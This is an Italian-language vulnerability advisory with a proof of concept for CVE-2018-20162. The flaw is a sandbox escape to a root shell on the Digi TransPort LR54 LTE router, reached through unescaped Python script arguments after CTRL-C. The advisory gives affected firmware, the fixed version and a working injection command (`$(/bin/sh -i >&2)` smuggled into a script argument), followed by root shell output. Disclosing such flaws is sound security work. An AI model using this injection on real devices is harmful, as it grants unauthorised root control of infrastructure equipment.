
Exploit proof-of-concept per CVE-2018-20162: fuga dalla sandbox nel router Digi TransPort LR54 LTE tramite un difetto nella gestione di SIGINT, che concede accesso a root shell.
Il Digi TransPort LR54 è un router LTE ad alta velocità comunemente utilizzato in ambito industriale, infrastrutturale, retail e trasporti pubblici.
Supporta l'esecuzione di script Python in un sandbox limitato e dispone di una shell personalizzata accessibile via SSH, soggetta alle stesse restrizioni. Il sistema operativo sottostante è quindi inaccessibile all'amministratore.
Ho trovato un modo per uscire dal sandbox e ottenere una shell di root sfruttando il modo in cui la CLI gestisce gli argomenti della riga di comando durante l'esecuzione di script Python:
Quando un processo Python interattivo riceve un SIGINT (tramite CTRL-C), gli argomenti dello script non vengono correttamente escapati quando vengono passati all'handler di logging degli errori della CLI interattiva. Ciò consente a un attaccante di eseguire comandi arbitrari come root.
Per sfruttare questa vulnerabilità, un attaccante deve avere accesso interattivo alla CLI con privilegi 'super'. Un utente con questo livello di accesso è abilitato per impostazione predefinita sul dispositivo.
Digi Transport LR54 (e forse prodotti correlati come WR64 e WR54)
Versione firmware : 4.4.0.26 29/10/2018 21:14:06 Versione firmware : 4.3.2.24 06/09/2018 00:58:34
E forse versioni precedenti
Gli utenti dovrebbero aggiornare alla versione firmware 4.5.1.4 o successiva. I segreti memorizzati sul dispositivo, come chiavi private e passphrase, dovrebbero essere cambiati come precauzione.
sleep.py sul LR54 usando scp o sftp, contenente:import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
Premi immediatamente CTRL-C dopo l'avvio del programma
Vieni quindi rilasciato in una shell interattiva di root
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
Vulnerabilità scoperta da Stig Palmquist.
Grazie a @duniel_pls e @alexanderkjall per la revisione di questo rapporto.